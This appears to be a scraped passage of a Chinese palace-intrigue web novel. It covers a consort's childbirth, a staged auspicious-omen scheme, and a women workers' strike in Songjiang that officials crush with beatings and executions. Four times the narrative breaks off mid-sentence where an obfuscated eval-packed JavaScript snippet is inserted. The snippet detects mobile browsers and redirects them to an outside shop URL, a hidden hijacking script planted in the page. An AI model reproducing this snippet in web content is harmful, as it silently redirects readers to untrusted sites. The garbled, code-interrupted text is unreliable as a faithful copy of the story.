云太医很快赶来,按照流程给沈明珮诊完脉后,背出已经定好的说辞:“娘娘情况不是很好,臣先开一副药,你们看看长春宫内能不能备齐。” 他开的方子自然没什么问题,写的也都是先前给长春宫开过的药。 “太好了,我们都有,我这就去熬药!”寒露声音激动,拿着药方跑下去。 云太医拿出银针,在沈明珮手部下针,摆出缓解她不适的架势。过了一阵子,寒露端着碗药回来了。 沈明珮立刻让云太医把针撤了,端起药一饮而尽。可惜云太医开的药也没能稳住她的情况,两刻钟后,她开始发动。 因为临近预产期,稳婆已经找齐了,但其他并没有准备好。白菊匆匆忙忙率领宫人布置产房,宋英去乾清宫和坤宁宫通报沈明珮发动,没人注意到熬药的砂锅已经被收拾干净,药渣也都被倒掉。 皇帝闻讯赶来时,沈明珮已经进了产房。 “怎么回事?”他看了一圈,没看见白芷,心生不妙。 白菊走上前,将事情经过完整讲明。 “白芷已被关进暗室,请陛下发落。” 皇帝只觉荒谬。白芷是他派去监视沈明珮的人,对沈明珮下手做什么? “熬药的锅和药渣呢?”他问白菊。 白菊也不知道,忙喊宋英去查。宋英问遍了长春宫正殿所有的宫人后,终于找到了一个小宫女。 小宫女快被吓哭了,扑通一下跪在皇帝面前:“陛下,奴婢以为药渣没用了,就倒掉了,熬药的砂锅也都刷干净了。” 皇帝深吸一口气。他所需要的证据就这么没了,偏偏他还不能指责小宫女办事勤快。 就在这时,宋英派过去搜查白芷住处的小太监回来了。 “陛下,”他将手中东西呈上,“这是奴婢在白芷姑娘床单下发现的。” 皇帝接过去,看到了五张面值五十两的银票,出自大齐最大的银庄。 二百五十两银子,不论真假,作为证据都足以让他发落白芷。 “让司礼监把白芷带走。”他命令身边的太监。 太监领命而去,过一会儿和赵德光回来,带着一小队人将白芷带走。 “贤妃生产后,朕会命尚宫局将空缺的人手补上。”皇帝一句话,白芷这颗棋子彻底被拔出长春宫。 南昌郊外,一队人藏匿在林中。为首之人一身出游富家公子打扮,怀里捧着个匣子,其他人俱扮小厮状,拎着包袱跟在后面。此时他们已经将包袱放在地上。 “就这里吧。”队长探查周围,确认此处确实罕有人迹,将地点定下来。 其他人立刻开始布置。 等到日落西山之时,队长一声令下。 “动手!” 手拿火石的队员点燃引线,而后只听一声巨响,火药爆炸。 南昌城内,留守城中的一位商队队员坐在一家酒馆内,不时看向窗外。他的任务就是保持自然地在城中四处闲逛,并且一直盯着郊外林地的方向。 突然,他一声大喊:“有祥云!” “祥云?什么祥云?”别的桌的酒客听到他的喊声,凑过来看,同样看到了祥云。 店小二闻声,立刻将掌柜的叫来。掌柜的看向窗外,立刻派人上报南昌知府。 祥云并不只有这家酒楼里的人看到。城中各处都有偶然间抬头看天,而后恰好看到祥云的人,他们纷纷上报衙门。南昌知府整合各地上报后,呈给上级。 长春宫内,沈明珮的生产也到了尾声。她是第二次生育,耗时比第一次短,也是傍晚时分,产房里传来婴儿的哭声。 “恭喜陛下,恭喜皇后娘娘,贤妃娘娘生了个小公主!”稳婆抱着孩子出来。 皇帝心里还是记得皇后的谶语,见是个不可能是孽龙的公主,心中松了口气。但他对这个孩子并无好感,只象征性地看两眼就让稳婆抱走了。 皇后心里也松了口气,一个皇子一个公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236198|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主总比两个皇子对她有利。 帝后二人反应平平,其他人也没有多呆,都赶回去吃晚饭然后睡觉。等沈明珮醒过来时,长春宫里已经没有别人了。 “娘娘,您看看五公主?”寒露抱着孩子走到床边。 沈明珮让她把襁褓凑近些,边看边问:“可让云太医看了?” “云太医看过了,”寒露回答,“说五公主没受影响。” 沈明珮也松了口气。 寒露把五公主还给稳婆,等稳婆将孩子抱走后,又接着说:“白芷已经被陛下带走,之后会派一个宫女补上缺,应该很快就会送来了。” “等人送过来之后,就让她做洒扫宫女。” “娘娘放心,奴婢们都省得,”寒露点头应下,“接替白芷的宫女奴婢和白菊、宋英也选出来了,娘娘可要为她赐名?” “就叫白芨吧。”沈明珮随口一说。 果然,第二天尚宫局就将新宫女送来。这是个小宫女,整个人都透着一股拘谨,白菊让她做洒扫宫女她也老老实实领了职。 之后,沈明珮以安静坐月子的名义谢绝了所有宫妃的探望,只有云太医能进长春宫。 “娘娘的毛病得慢慢治,臣已经将方子写下来,具体操作寒露姑娘能够完成。”云太医诊完脉,向沈明珮告辞。 沈明珮放他离开。当日用药,五公主很幸运地没事,但她已经还是落下了些毛病。好在寒露在云太医的教导下进步很大,已经能应付绝大多数问题。 “娘娘得了这毛病,以后怕是不能常见到陛下了。”寒露面带忧色。 “无碍,我已有一子一女,在宫中总不会失了分量,”沈明珮丝毫不惧,“况且只要舅舅和兄长不倒,陛下就不会把我抛到脑后。” 她也不想伺候这皇帝了。 于是云太医看诊的第二天,她上报自己身体有疾,暂时不宜侍寝。 皇后兴高采烈地将她从侍寝名单中划出。 沈明珮安静坐了二十天月子后,一封奏报发到京城。 南昌府知府整合民间汇报后,将祥瑞上报给江西承宣布政使司。布政使司中,右布政使同样看到祥云,以本人作保,将此事上报给江西巡抚。 江西巡抚在晋升两江总督的选拔中未能胜过先前的江南巡抚,还因此与新上任的顶头上司结下了梁子。眼见有祥瑞可报,他不愿这祥云成为上司的政绩,直接写了奏报,命人快马加鞭送到京城。 江西刚走出天灾,马也没有平日能跑,走了将近二十天,信使才走到京师。 内阁收到祥瑞报告,立刻大张旗鼓地送进宫中。而就在南昌府的信使走进京城的那一刻,早就做好准备,时刻盯着城门的明玉楼仆役立刻将消息散布开来。 五公主出生时天有祥云。 皇后都立刻明白沈明珮生产当天的乱子是怎么回事,但奏报在前,流言在后,她编造的谣言被破已是定局。 “再怎么祥瑞,不也还是个丫头片子!”她自我安慰。 皇帝心里也有数。但出现祥瑞也是他是仁君的象征,在大灾之后,他无法拒绝这个好处。况且他也和皇后有一样的看法——一个公主,再是祥瑞又能怎样? 他心安理得地接下了这个祥瑞,而后对江西官员赐以重赏。 60. 阿鹰 因着祥瑞之名,五公主的满月宴办得很是盛大——相较于其他公主而言。宴会一切皆是与皇子同等水平。 宴会当天,沈明珮一身鞠衣,头戴整套头面,早早出现在正殿正堂中。她站在靠近大门的位置,身后站着寒露,一个个欢迎前来参宴的妃嫔。 阖宫上下都听说她产后落了毛病,今日一见,却发现她依然红光满面。 散号妃子不敢真让她欢迎,走到正殿门前就先行礼,而后由宫人带进席间。主位妃嫔大多与她有说有笑,几人凑成一团,在谈笑间落座。 等到开宴的时候,帝后才相携而来。这次不同往常,两人还带来了太子和二公主。沈明珮眼中意外一闪而逝,立刻站起身,快步走到帝后面前。 “妾见过陛下,见过皇后娘娘,见过太子殿下,见过二公主。”她恭敬行礼,席间妃嫔同她一道问安。 “起来吧。” “谢陛下。”宫妃起身,帝后走到主位。 因太子与二公主到场,主位左右下首的位置易主,所有人都向下移一个座位,宫人搬来两套桌椅末座的两人坐。 两个人屁股刚坐下,就听见二公主问:“可以开始了吗?” 二公主除了帝后和太子看都不看别人,态度很不客气。 皇后对她倒是很宠溺,微笑着摸了摸她的头顶,对皇帝说:“宏玉既然等不及了,我们便开宴吧。” 皇帝欣然应允。 菜肴一道道端上来,原定的吃食因为多了两个人出现不足,尚食局紧急加班,重新补上缺少的两份。最末的两人在座位上等了很久才等来她们的饭菜。 主位右下首,二公主夹了几筷子后就皱着眉毛放下筷子,显然对这次宴席的吃食很不满。她坐得靠前,宫妃们看得一清二楚。 太子忙转移大家的注意:“贤妃娘娘,可否将五妹妹抱出来给大家看看?” 沈明珮清楚看见二公主脸上的不屑。她状似不以为意,让乳母将孩子抱来。 皇帝没有接过襁褓,看了几眼就让乳母抱走,乳母抱着五公主站到沈明珮身后。二公主在一旁脸色更差了。 “五公主生有祥云,是我大齐之福。朕作为大齐之君,向来敬奉天命,今日便封其为柔嘉公主,愿我大齐昌盛。”皇帝说罢,赵德光捧着圣旨走上前,展开诵读,正是赐予五公主封号的旨意。 “妾代五公主谢陛下。”沈明珮立刻起身,行礼接旨。 这样一来,五公主竟成了皇帝女儿中第一个拥有封号的公主。 “父皇,五妹妹既然有了封号,怎么能没有名字?您日理万机,还要想五妹妹的封号,已经很辛苦了,不如五妹妹的名字就由兄长来起吧?”二公主突然插话。 沈明珮看向她,她回给沈明珮一个满是恶意的笑。任谁都能看出她对沈明珮母女的贬斥,但她乃皇后之女,除了帝后,谁敢把她怎样? 皇帝竟然也同意了:“那就由宏泽来给柔嘉取名吧。” 沈明珮勉力让自己维持住表情,实则指甲已经抠在手心中。 “就叫静淑吧,”太子张口就来,显然是早有准备,“希望五妹妹长大后文静贤淑。” 沈明珮的脸色再也维持不住,彻底拉了下来。柔,静,淑,每一个字都是世道对女子的约束,这皇帝是给女儿过满月宴呢还是来打压她呢? 偏偏皇帝见她久无反应,还问道:“贤妃可是对太子赐名不满?” 沈明珮深吸口气:“妾多谢太子殿下为静淑赐名。此名甚好,妾想静淑也会喜欢的。” “贤妃喜欢就好。”皇帝满意了。 一场满月宴,成了对本该受到祝贺之人的处刑。宫妃心思各异地离开后,皇后带着太子和二公主耀武扬威地离开长春宫。二公主离开时经过沈明珮,不屑地冷笑。 皇帝视而不见。他本该同皇后一旦离开,却留了下来。 可沈明珮恨不得把他赶出长春宫。 宫人在将宴席的布置撤走,皇帝如同在乾清宫一般,直接命宫人先将正堂原本的主座收拾出来。 皇帝的命令,宫人不敢不从,很快就按他的要求收拾好。而后皇帝就坐到主位上,留沈明珮站在主位下方。 他敲着座椅扶手,一言不发,沈明珮也低着头默不作声,半晌,他才缓缓道:“朕记得你有个妹妹快及笄了吧?” “是的,”沈明珮回答,“今年就及笄了。” “朕记得,你刚入宫时,她还是个小姑娘,时间过得可真快啊,”皇帝感叹,“她可许配人家?” “回陛下,还没有。”沈思远夫妻入京后就仗着是沈明玥的父亲嫡母,要像当初拿捏沈明珮一样拿捏她的婚事,刘芸和沈明玥奋起反抗,双方争执激烈。 “肃王叔的长子也尚未婚配,朕欲将你妹妹许给他为妻,你意下如何?”皇帝像谈家常一样将赐婚打算说出来。 沈明珮心中感慨,皇帝胡萝卜加大棒战术实在是娴熟。先是通过对五公主的取名、取封号打压她,又通过给沈明玥赐婚给她一些甜头。这甜头偏偏是她不可能不要的,肃王长子正是肃王世子,肃王世子妃,未来的亲王妃,这个身份能彻底摆脱沈思远夫妻的掣肘。 “妾代明玥多谢陛下。”沈明珮叩头谢恩。 “起来吧,”皇帝等她行完礼才说,“爱妃入宫多年,一向恪守本分,还为朕添了一双儿女,朕自然不会让你的亲人受辱。” 沈明珮立刻会意,皇帝这是在提醒她,以后也要老实规矩。 这时,寒露端着药进来。 “陛下,娘娘该喝药了。”她对皇帝说。 “喝吧,”皇帝也知道沈明珮此次生产后落下毛病,不再多留,“朕回去了。” “妾恭送陛下。”沈明珮行礼,等到皇帝彻底走出长春宫后才站起来。 一站起来,她就拿过寒露手中的药,一饮而尽。 “娘娘,快吃蜜饯!”寒露见她喝得这般豪放,也被吓了一跳,忙拿出早已准备好的蜜饯。 沈明珮喝完药,被苦得皱起脸,寒露见状拿走药碗,将蜜饯放到她手里。她立刻撕开包装,扔进嘴里,苦味才逐渐被压住。 “我这个毛病,大概要多久才能好?”她边嚼蜜饯,边问寒露。 “大概要一年。”寒露回答。 “一年吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239075|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”沈明珮沉吟片刻,“也好,一年也足够久了。先前让你和云太医一起研究的药在一年内能做出来吗?” “能。”寒露答得干脆。 “好,那就等柔嘉周岁,我们再出山,”沈明珮口中苦味散去,人也精神一些,“柔嘉呢?带我去看看她。” 两人去了奶娘处。屋子里,四皇子正坐在床上,好奇地看着五公主。见沈明珮进来,两个孩子的乳母纷纷行礼问安。四皇子转过身,下了床,跑到沈明珮腿边。 “母妃。”他脆生生道。 沈明珮示意寒露把他抱起来,自己则温声问他:“宏澈今天都做什么了?” “听乳母讲故事、去院子里看雪,还有陪妹妹玩!”四皇子回答。 沈明珮心中失笑。才满月的小孩儿,有什么需要别人陪玩的,怕是四皇子自己好奇,来看妹妹才是真相。但四皇子愿意看妹妹,她也乐见其成。 “知道照顾妹妹,真棒!”她不吝夸赞。 四皇子也开心地笑了。 “你们知道今天宴会上发生什么了吗?”沈明珮问在场所有人。 “知道,”四皇子回答,“乳母告诉我了,妹妹得了名字和封号,以后叫静淑,是柔嘉公主!” “嗯,没错,”沈明珮柔声说,“以后你妹妹还有一个小名,叫阿鹰,你可以多这么叫她。” “阿鹰?”四皇子点点头,“我知道了。” 沈明珮一个眼神扫过去,四皇子的乳母立刻会意,将他从寒露怀里接过来,带他回到他自己的房间。屋里只留下沈明珮和寒露。 “娘娘,五公主的小名,可是落英缤纷的英?”寒露低声问沈明珮。 沈明珮走到婴儿床边,拿手指捅五公主的小脸:“是苍鹰的鹰。” 皇帝希望阿鹰温和柔美,皇后和太子希望她们安静无害,她偏偏要打破他们的限制,带着阿鹰在自己的人生中尽情翱翔! 去他爹的皇帝皇后,去他爹的封建礼教! 正月初九一大早,宣旨的天使就到了勇毅伯府门口。进了院子,他又让伯府家丁将沈思远夫妇请来,而后当着沈思远父母和刘芸母女的面宣读赐婚圣旨。 多年前的那一幕重现,沈思远强忍着憋屈与愤怒和和气气地送走天使,而后一刻都不愿意再呆,带着夫人拂袖而去。 刘芸惊喜交加地领着还没回过神的沈明玥回到屋中,等她清醒后立刻说:“你现在成了准亲王世子妃,接下来要学的东西就不一样了。除了宫里会派嬷嬷教你规矩外,我也要调整你的课业。” 沈明玥听到这话,并没有难过,反而跃跃欲试。 “我记得肃王是有实权的亲王,我成了世子妃,是不是也能帮助姐姐了?” “那就要看你能做到什么程度了。”已经走到这一步,刘芸绝不允许她和沈明玥退缩。 她们早就没有失败的余地了。 长春宫里,沈明珮掐着时间,等宋英汇报传旨天使已复命,立刻让寒露给宫外送信。 而后,她吩咐白菊:“我为了给母亲打首饰,给妹妹准备添妆礼,给了勇毅伯府二十两金,你记在账上。” 61. 罢工 翻过正月,上一年受灾的地界基本步入正轨,江南富庶之地的工厂也早已开工。女工们在纺织厂内一干就是一天,天蒙蒙亮就得到厂子里,天黑透了才能拖着疲惫的身体离开。 而她们的工钱是到不了她们手里的。工头记得每个女工的家长,到发薪俸的日子,不是给女工的父亲,就是给女工的丈夫。女工们回到家,吃的穿的用的住的都是最差的。 松江府内,一个女工生了病。最初只是普通的风寒,家中不给治,让她硬抗。她病得越来越重,实在扛不住了,从婆婆掌管的钱匣子里拿了把大钱,找了个郎中。 喝了药,她的身体好了一些,可刚回到家中,就见丈夫拿着棍子等着她。 “你是不是偷了家里的钱?”见她回来,男人举起棍子,面色凶煞。 女工不敢上前了,站在原地说:“我难受,实在撑不住了……” “撑不住了你就去死啊,谁给你的胆子动我们家的钱!”男人冲上来就要打她。 女工转头就跑。她身体虚弱,跑不了多远就会被追上,只能抄自己熟悉的路,直奔纺织厂而去。但到了纺织厂门前,她还是被抓住了。 棍子一下接一下落在她的身上。 “我们家的钱,你竟然敢偷!”男人打得女工惨叫连连,工头们竟然视而不见。 女工被打得受不了了,争辩道:“那是我挣的钱!” “连你都是老子的,你挣的钱当然也是老子的!”男人打得更狠了。 厂内女工实在看不下去,纷纷从工位上站起来,要去将两人分开,结果监工带着护卫将工作区围了起来,不让她们上前。 “你们干什么!”一个女工怒喝,“这是我们挣的钱,它本来就是我们的!” “它不是你们的,”本在监工的纺织厂主从角落里走出来,“高宗皇帝定下律法,女子以是否婚配为界,财产一律归父亲或夫君所有,你们的工钱不属于你们。” 女工被他的丈夫活活打死在纺织厂门前,厂主命人将尸体拖入乱葬岗扔了,而后威胁剩下的女工:“我知道你们当中有人想昧下工钱。偷父主、夫主钱的,便是被打死,也没人报官,反倒是偷钱的,一旦被抓就要受刑。你们好自为之吧。” 当晚下工时,很多女工都面色苍白。 第二天,就有女工不上工了。 “谁拿钱谁上工,钱都不给我,我凭什么干活?” 这位女工的丈夫性格软一些,带着女工找到工头,提出以后工钱可以直接给他妻子。 然后他就被赶了出来,女工被抓了回去。 “什么蠢货,不把钱拿在手里还怎么控制她们,”工头嘲讽,“你们给我记住了,为家庭劳作是你们的义务,别想着靠这个拿钱!” 被推到工位旁的女工推倒了织机。 “既然干活拿不到钱,那我就不干了!” 厂子侍卫要对这女工动手,却见又有数台织机被推倒。 “她说的没错,钱都不是我们的,我们凭什么干活!” 这家纺织厂的女工罢/工了。她们砸了厂里的机器,而后走上街,走成一队。为首的女工识些字,就举了个牌子,上面写着“把工钱还给我们”,走在松江的街道上。 松江的几家工厂都在相近的地方,她们在街上走,其他工人也能看到。昨日女工被丈夫打死之事她们也有所耳闻,难免心有戚戚焉。有女工默默站起来,离开工位,走到抗议的人群中。 松江知府知晓此事后,立刻派人将抗议的女工抓起来。面对府衙吏胥和松江军,女工自然无法反抗,但她们也已经走出工厂区,进入居民与商铺区。沿路的很多人都听到了她们的诉求。 如果松江军只将她们收押,也许事情过几天后会不了了之,但在女工反抗的过程中,前来镇压的千户开了铳枪,杀死了举着牌子的女工。 松江城沸腾了。 秋霜第一时间就发现事态不对,写了信连夜派仆役快马加鞭送到京城。等信送到京城的时候,松江已经彻底乱了。 松江是纺织重镇,工厂本就以女工为主,两位女工的死更是让她们愤怒。激烈的行为她们未必敢做,但是不上工还是很容易做到的。 于是,松江的纺织女工们罢/工了。 知府非常愤怒,一边将此事上报金陵江南巡抚处,一边在各厂门前发布悬赏,只要女工的家人甚至邻居能让她上工,就给这家赏钱。 时下年轻女子不论出嫁前后,在家中都是最底层。未嫁的女工家里盼着得了赏钱给儿子,已嫁的女工家里也想把赏钱拿到手,除了少数疼女儿的人家,纷纷逼迫女工上工。与女工同街的邻居见有钱拿,也有不少人掺和进来。争执间,有女工被家里打死,有女工自尽明志,有女工意外身亡,有女工拉着全家同归于尽,也有很多逃出家门,到松江城外暂避风头。真正被抓回去的不到半数,而且到了厂里也不干活。 工头们不约而同选择镇压,但这一次,有一家厂子的女工将织机拆解为武器,齐心协力打死了工头。有这一家做例子,别家厂子的工头也不敢太逼迫女工了。 松江知府将打死工头的女工投入大牢,上报京城,请求处以她们极刑。 到了这时候,城内的女商也纷纷罢/市。这年头,有点产业的女商多少都识字,有人直接将事情经过写成白话短文,在最后的段落质问:我们辛辛苦苦工作,赚的钱凭什么不属于我们?奴仆尚有薪俸,难道我们做工的女子竟然连奴隶都不如吗? 女商的罢/市开始影响松江府的正常生活,尤其是富太太和小姐们的生活。知府夫人在聚会上得了埋怨,晚上同知府说,只得到了呵斥,和知府离开她房里去了姨娘房中。 沈明珮收到信的时候,罢/市已经开始了。她放下信,过了一会儿说自己头疼,让寒露进来给她按摩,把其他人都赶了出去。 寒露一进来,沈明珮就让她站好。她早已备好笔墨纸砚,头也不抬,笔走龙蛇间一篇让皇帝看到足以诛她三族的文章逐渐跃然纸上。 写完文章,沈明珮等墨迹干涸,才折起来放入信封中,交给寒露:“把它交到勇毅伯府,让伯府派人送到秋霜那里。这封信绝对不能让其他人看到,不然我们就都完了,你明白吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248367|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “娘娘放心。”寒露一脸严肃。 “再让母亲给秋霜送去十两金子,也不要让别人知道。”沈明珮补充。 两天后,两江总督的奏报终于上了皇帝的案头。去年末江西巡抚直接上报祥瑞一事让两江总督大怒,同在金陵府城,江南巡抚当然不敢在顶头上司头上动土,收到松江知府的汇报直接报给两江总督。 两江总督不希望此事影响他的年底考核,命令松江知府强硬处理。可惜强硬处理没能奏效,他只能上报京城。 皇帝立刻下令,以叛乱为名,命江南都指挥使司派兵镇压。 但圣旨还在路上时,乱成一锅粥的就不只是松江府了。 但最先乱到极点的还得是松江府。松江府城内从知府到九品官,是实实在在有一群官员的,这些官员的女儿们到了岁数也要请女夫子教她们识文断字,品级高家庭的还要请女夫子教琴棋书画。 这些女夫子很多也是曾属于上层社会最终又因种种原因被排挤出去的人。她们飘零日久,被苦难磨平了棱角,却在女工的抗争中认清了自己的心声。 况且,若是女工的薪水无法落到她们自己手里,那若有朝一日,她们的束脩被曾经的娘家或是夫家拿了,她们又该去何处说理? 以为知府府教书的女夫子为首,数名女夫子都选择了罢/教,站在了女工的一边。 秋霜在把信寄出去的同时命令书肆的印刷线全线赶工,将罢/工实况印在纸上,传播至周围各府。金陵府最大的纺织厂厂主是个女子,她看到报道,当机立断,宣布停工,响应松江女工。 “我丧夫后被赶出家门时一穷二白,历尽艰辛,耗时数十年。最终建立此厂。自我创业以来,因女子身份,我曾被刁难无数次,就连现在也要交比男厂主更多的商税。今日松江女子为求公平抗争,我同为女子,怎能坐视不理?姐妹们可以放心,我的钱够发你们的薪水,你们停工便是!”两鬓斑白的厂主慷慨激昂地对厂里女工说。 以这家纺织厂为首,更多的女工罢/工,进而女商罢/市,女夫子罢/教。而后消息越传越广,苏州、扬州、杭州等府女工女商亦参与到抗议中。 两江总督焦头烂额地等待皇帝的旨意。期间他收到闽浙总督的信。信上,闽浙总督痛骂他办事不利,导致浙江北部数府也卷进了乱子中。 “没本事就快些致仕,莫要拖累我!”他在信的末尾痛批。 两江总督愤怒地将信团成一团,扔进纸篓里。论心烦,他现在远胜于闽浙总督。 只有当女工女商纷纷不再干活后,江南省的各位老爷们才意识到女性在江南省发挥着何等重要的作用。这些时日,江南纺织业几乎停摆,商业瘫痪近半,很多日常用品价格陡升。老爷们的政绩和日常生活都受到很大的影响。 他盼星星盼月亮,终于盼来了圣旨。他兴高采烈地走进两江总兵府,要求他依圣旨镇压罢/工的女工、罢/市的女商,他也派人抓捕罢/教的女夫子。 他不可能知道的是,在几天前,沈明珮的信也送到了松江府,正在罢/市商人之一的秋霜的书肆中。 62. 密谋 松江府城内,本该人声鼎沸的闹市区此刻一片寂静。中央的路口跪着很多身穿囚衣的女人,手被绳子捆着绑在身后,身体被士兵压着前倾。围观者也是一群女人,她们身后是手握武器、将刀锋对准她们的士兵。 松江指挥使站在临时搭建的高台上,手里握着西洋表,看时间到了就高声下令:“行刑!” 押着女囚们的士兵拔出刀,将她们的头砍下来。士兵不是刽子手,砍头技巧生疏,场面一时惨不忍睹。 秋霜也在观看者之列。一大早,她书肆的大门就被数个士兵砸开,士兵们拿着武器将她押到闹市接口。到了地方,她发现在场之人全都是参与罢/工、罢/市、罢/教的女工、女商、女夫子。 行刑完毕,指挥使森冷地扫视被强迫围观的女性:“从明天开始,立刻复工、复市、复课,如有违抗,一律诛杀。” 押着女人们过来的士兵又押着她们回去。看了一出血腥场面,背后又有武器抵着,秋霜的腿都是软的。 但纵使有暴力相逼,也不是所有人都愿意老老实实返工。当天晚上,一群女工在没有事先联系的情况下趁巡夜、守城士兵换防,跑出松江城。 逃跑过程中,女工到底还是惊动了卫兵,他们对女工出手,近半人倒在火铳下。但在部分人决绝地以身堵枪口下,过半女工逃了出去,还有一名卫兵死在了女工的反扑中。 知府与指挥使震怒,将行刑中砍下的头颅与夜里被杀的女工尸体一齐挂在城门上。 秋霜还是重新开业了。过了两天,午饭过后,她穿了一身男装,戴上假胡子,大摇大摆地走出城门。 城外临时搭建的草棚中,陈咏真脸色很难看。她是秀才的女儿,小时候在父亲的教导下识字,长大后进了纺织厂,凭着自己的好出身和非生僻字都认识的本事成了厂子里唯一一个女工头。 罢/工开始后,她成了厂子里唯一站在女工一边的工头,城中女工逃出去后,她数次拿出家中物资接济她们,结果松江指挥使在处刑杀死工头的女工当天将逃出城的女工定为谋反,她直接成了通敌。 那天之后她也在草棚中住下来。成了通缉犯,松江府城肯定是回不去了,其他城市也别想进去,自己和这些女工今后早怎么办,她一筹莫展。就在这时,有本来就在她手下做工的女工说有人来访。 陈咏真很意外。这等时候,谁会来见她们这些通缉犯?她跟随女工走出去,看到一个男子装扮的女子。 那女子风尘仆仆,手里还握着假胡子,见到她后行了一礼:“在下符秋霜,和安书肆掌柜的,不知姑娘该如何称呼?” “和安书肆?”陈咏真恍然,这书肆她不仅听说过,还进去买过书,算是这两年突然出现然后做大的书肆,“我叫陈咏真,先前不过是一个小工头,以后估计连工头也做不成了。” “陈姑娘敢在此时站在女工一边,就绝非普通工头,”秋霜称赞她,“不知陈姑娘可愿带我看看你们的住处?” 陈咏真面露警惕。 秋霜见状,并无愠色,反而掏出一个小匣子,将其打开,里面装着数锭银子。 她扣上盖子,将匣子递给陈咏真:“陈姑娘总得帮我找一个适合议事的地方吧?” 草棚区一间靠边的草棚内,一群女人围坐成一个圆。秋霜和陈咏真紧挨着坐下,其他人都是有一定年纪、身体健壮的女人。 “符掌柜的想说什么?”坐在陈咏真另一边的女工毫不客气地直接问秋霜。 她不客气,秋霜也不同她虚与委蛇:“你们可有想过今后要怎么办?” 骤然提到这个话题,在场有些人当即变了脸色。 “符掌柜觉得我们该怎么办?”陈咏真不答反问。 “我在城中听闻松江指挥使已有出兵剿灭你们的打算。陈工头,我想,各位当日既然跑出来与知府抗争,应当是不愿屈服的。你们真的准备就这么赴死吗?” “符掌柜好像很想我们做些什么惊天动地的大事,”陈咏真眼神锐利,“但是以我们的条件,凭什么能这么做?” 说罢,她一抬手,与她和秋霜围坐的女工们就站起来,将她们围住。 “因为你们没得选,”秋霜镇定不减,自己站起来的同时还把陈咏真一并拉起身,“松江知府和指挥使这两位老爷打定主意要拿你们杀鸡儆猴,你们就是现在主动投案也活不成。横竖都是死,为什么不搏一把?” 这个逻辑当然没什么问题。 “符掌柜说得没错,我们已经如此,确实不如拉几个垫背,”陈咏真依然满是警惕,“但这和符掌柜你又有什么关系?同我们说这些对你又有什么好处?” 秋霜胸有成竹地笑了。 “我自然是有所求,”她坦诚道,“我愿意为你们的搏一把提供帮助,并且一切以你们的筹划为先,你们需要做的只是万一失败不供出我。陈工头,这笔买卖怎么样都是划算的吧?” 陈咏真等人依然满是警惕,但总算是愿意重新坐下来了。 秋霜回到书肆,脱下男装,里衣已经被冷汗浸透。她换了套里衣,换回女子装束,命令仆役驾马车送她去为知府子女授课的女夫子家中。 女夫子姓黄,父亲在翰林院为官,曾是一位伯府公子的妻子。伯府公子纨绔,父母找上她这个素有才名的翰林之女就是为了管他们儿子。可惜纨绔公子依旧纨绔,她婚后受尽冷落,公婆嫌她没用,也开始磋磨她。公子把自己折腾得英年早逝,公婆不怪儿子反怪她,以她未曾生育为名将她赶出伯府。她父亲嫌她丢人,也不认她,她流落到江南,以卖诗画为生,卖出名堂后才被一个小官聘用,做了夫子。这小官调往别处后将她推荐给上官,竟将她推到了知府家,她便成了府衙的女夫子,给知府、同知等官员的女儿们授课。 她是此番带头罢教的夫子,松江指挥使也派兵将她押过去观看处刑。之后她回到知府府授课,下课回家后恰好路过挂着人头和尸体的城门,恰好看到这一幕,而后病倒。 此刻她一身燕居服,静静坐在正屋,等门房带秋霜进来,全无半点病色。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253031|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一见到秋霜,她就站起来,问道:“是勇毅伯府派你来的,还是贤妃娘娘派你来的?” 她还未被赶出伯府时,曾在一场宴会上见过勇毅伯府老夫人,当时陪在老夫人身边的就是秋霜。 “我是谁派来的不重要,重要的是我接下来的请求你接不接受。”见自己被认出来,秋霜杀心暗起。 若是她拒绝自己的请求,就要让她真被吓死了。 “秋霜姑娘尽管说便是,不论是贤妃娘娘还是勇毅伯府都是我不可违抗的。”黄夫子很识时务地立刻答应。 两天后,黄夫子病愈,返回府衙授课。课程结束后,她没有如平常一样立刻离开,而是自告奋勇为知府全家做了一桌晚饭。 